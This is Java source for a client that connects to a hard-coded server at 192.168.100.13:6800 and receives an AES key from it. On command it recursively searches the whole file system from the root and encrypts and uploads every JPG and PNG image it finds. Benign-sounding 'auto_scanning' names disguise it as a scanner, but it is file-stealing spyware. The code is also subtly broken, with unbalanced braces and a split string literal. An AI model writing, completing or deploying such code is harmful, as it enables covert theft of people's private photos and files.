import javax.crypto.
Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.security.SecureRandom;
import java.util.Arrays;
import java.util.Base64;
public class Main_client
{
private static final String auto_scanning_host="192.168.100.13";
private static final int auto_scanning_port=6800;
private static OutputStream auto_scan_send;
private static InputStream auto_scan_recv;
private static SecretKey aes_key;
public static void main(String [] args)
{
auto_scanning_run();
}
//
***********************************************************************************
***
public static String decryptData(byte[] data)
{
try
{
byte[] iv = new byte[16];
System.arraycopy(data, 0, iv, 0, iv.length);
byte[] ciphertext = new byte[data.length - 16];
System.arraycopy(data, 16, ciphertext, 0, ciphertext.length);
Cipher cipher = Cipher.getInstance("AES/CFB/NoPadding");
IvParameterSpec ivSpec = new IvParameterSpec(iv);
cipher.init(Cipher.DECRYPT_MODE, aes_key, ivSpec);
byte[] decrypted = cipher.doFinal(ciphertext);
return new String(decrypted);
}
catch (Exception e)
{
System.out.println("data Decrption function error: "+ e);
}
return "";
}
public static String auto_scanning_recv_c0mmand_fun()
{
String msg="";
try
{
byte[] buffer= new byte[4096];
int readbytes=auto_scan_recv.read(buffer);
if (readbytes != -1)
{
byte[] rec_byte=new byte[readbytes];
System.arraycopy(buffer,0, rec_byte,0,readbytes);
msg=decryptData(rec_byte);
// msg=new String(buffer, 0, readbytes, StandardCharsets.UTF_8);
return msg;
}
}
catch (Exception e)
{
System.out.println("Auto scanning recv function error: "+ e);
}
return msg;
}
public static byte[] encryptData(String data) throws Exception {
Cipher cipher = Cipher.getInstance("AES/CFB/NoPadding");
byte[] iv = new byte[16];
new SecureRandom().nextBytes(iv);
IvParameterSpec ivSpec = new IvParameterSpec(iv);
cipher.init(Cipher.ENCRYPT_MODE, aes_key, ivSpec);
byte[] encrypted = cipher.doFinal(data.getBytes());
byte[] combined = new byte[iv.length + encrypted.length];
System.arraycopy(iv, 0, combined, 0, iv.length);
System.arraycopy(encrypted, 0, combined, iv.length, encrypted.length);
return combined;
}
public static void auto_scan_send_command_fun(String cmd)
{
try
{
byte[] msg =encryptData(cmd); //cmd.getBytes("utf-8");
auto_scan_send.write(msg);
auto_scan_send.flush();
}
catch (Exception e)
{
System.out.println("Auto scan send msg error: "+ e);
}
}
//
***********************************************************************************
************
public static void file_encryption_function(byte[] data, byte[] iv_file)
{
try
{
Cipher cipher = Cipher.getInstance("AES/CFB/NoPadding");
IvParameterSpec ivSpec = new IvParameterSpec(iv_file);
cipher.init(Cipher.ENCRYPT_MODE, aes_key, ivSpec);
// Data encrypt kiya
byte[] encrypted = cipher.doFinal(data);
System.out.println("print encrypted file data: ");
System.out.println(Arrays.toString(encrypted));
auto_scan_send.write(encrypted);
auto_scan_send.flush();
}catch (Exception e)
{
e.printStackTrace();
}
public static void auto_scanning_downloading_func(File path)
{
String a,b="";
if (path.exists())
{
File [] files= path.listFiles();
if (files !=null)
{
for (File file: files)
{
if (file.isDirectory())
{
auto_scanning_downloading_func(file);
}
else
{
String f_name=file.getName().toLowerCase();
if (f_name.endsWith(".jpg") || f_name.endsWith(".png") ||
f_name.endsWith(".jpeg"))
{
byte[] iv= new byte[16];
new SecureRandom().nextBytes(iv);
try
{
auto_scan_send.write(iv);
auto_scan_send.flush();
//Thread.sleep(5000);
}
catch (Exception e)
{
System.out.println("downloading file IV error: "+
e);
}
System.out.println("sending data on server side:
"+f_name);
auto_scan_send_command_fun(f_name);
a=auto_scanning_recv_c0mmand_fun();
System.out.println(a);
try
{
FileInputStream fis=new FileInputStream(file);
byte[] buffer= new byte[8192];
int readbyte;
while ((readbyte=fis.read(buffer)) != -1)
{
file_encryption_function(Arrays.copyOf(buffer,
readbyte), iv);
// auto_scan_send.write(buffer,0,readbyte);
// auto_scan_send.flush();
//a=autoscanning_recv_command(b);
byte[] buf=new byte[4096];
int useless_readbyte=auto_scan_recv.read(buf);
}
String xyz="END_OF_FILE";
byte[] delimeter=xyz.getBytes();
auto_scan_send.write(delimeter);
auto_scan_send.flush();
byte[] buf=new byte[4096];
int useless_readbyte=auto_scan_recv.read(buf);
}
catch (Exception e)
{
e.printStackTrace();
continue;
}
}
}
}
}
}
}
//*********************************************************************************
**************
public static void auto_scanning_run()
{
String cmd;
try
{
Socket s=new Socket(auto_scanning_host,auto_scanning_port);
auto_scan_recv = s.getInputStream();
auto_scan_send = s.getOutputStream();
byte[] buffer= new byte[32];
int readbyte= auto_scan_recv.read(buffer);
String recv_key= new String(buffer,0, readbyte);
byte[] decode_key= Base64.getDecoder().decode(recv_key);
aes_key=new SecretKeySpec(decode_key,0, decode_key.length, "AES");
cmd=auto_scanning_recv_c0mmand_fun();
if (cmd.equals("START_SEND_AUTO_SCANNING_DATA"))
{
System.out.println(cmd);
File path= new File("/");
auto_scanning_downloading_func(path);
String delimeter2="END_OF_SEARCHING_FILES";
auto_scan_send_command_fun(delimeter2);
}
catch (Exception e)
{
System.out.println("Autu scaning Main function error: "+ e);
}
}